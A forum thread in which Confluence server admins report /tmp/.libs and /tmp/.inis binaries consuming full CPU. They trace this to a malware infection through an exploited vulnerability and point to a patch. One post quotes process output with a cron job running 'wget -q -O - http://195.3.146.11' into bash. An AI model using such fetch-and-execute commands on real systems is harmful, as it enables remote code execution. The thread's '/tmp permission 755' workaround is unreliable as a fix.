nav[aria-label="Primary Navigation"] { padding: 0; & ul { list-style: none; width: 100%; display: flex; flex-direction: row; justify-content: start; align-items: start; gap: 30px; padding: 0; & li { margin: 0; } & ul li { list-style: none; } } }

Confluence. CPU at 100% in "/tmp/.libs" binary

Iván Dominguez_ynk93q

Hello, I have a Conflunece 6 on my own server, and sometimes a file /tmp/.libs created by confluence have the CPU at 100%.

I explore the binary and see it's a en elf executable and the file size is about 2 MB. I think it is any kind of java subsystem binary cache or the result of Java's AOT.

Stoping confluence and deleting it will regenerate when confluence starts again, first with small size, but over the time it gets bigger.

How Can I do to get less CPU usage?.

My confluence installation does not have any external plugin/extension except the Cloud migration tool.

Thanks.

Accepted answers

All comments

Balu Thodupoonuri_rc6jux

Hi Team,

Same issue here /tmp/.inis and /tmp/.libs files are eating 100% CPU and more into blogs, I found its malware inject and scanned for files using clamscan... I found files in the /tmp folder and deleted. Still when I delete the above .inis and .libs files they are re-creating it.

Please can you provide a solution for this. we use confluence 6.12.2.

Nalin Kularathna

Hi team,
I also have same issue. please provide a solution for this. I deleted all files in tmp folder but they are still creating files and running them.

Nalin Kularathna

I temporary changed the tmp folder permission to 755. so only root can write to the tmp directory now.

alx_th

Bad news. Just checked on my installation and this is true.

https://therecord.media/confluence-enterprise-servers-targeted-with-recent-vulnerability/

Nalin Kularathna

Hi,

thanks for informing. do you know any thing we can do for this issue. They are deploying some binary files whenever possible locations which has access to confluence user. I restricted all the places which has access by confluence user. After that it is running below things again and again.

conflue+ 26417 26416 0 18:58 ? 00:00:00 /bin/sh -c wget -q -O - http://1
conflue+ 26418 26417 0 18:58 ? 00:00:00 wget -q -O - http://195.3.146.11
conflue+ 26419 26417 0 18:58 ? 00:00:00 bash
root 26426 1006 0 18:59 ? 00:00:00 CRON

thanks,

alx_th

They already have a patch for this vulnerability: https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

alx_th

After apply patch you need to delete all artifacts (installed apps/modified files) manually. Please check home directory of atlassian user

Welcome!

It looks like you're new here. Sign in or register to get started.

Quick Links

Find more posts tagged with

confluence

server

confluence-server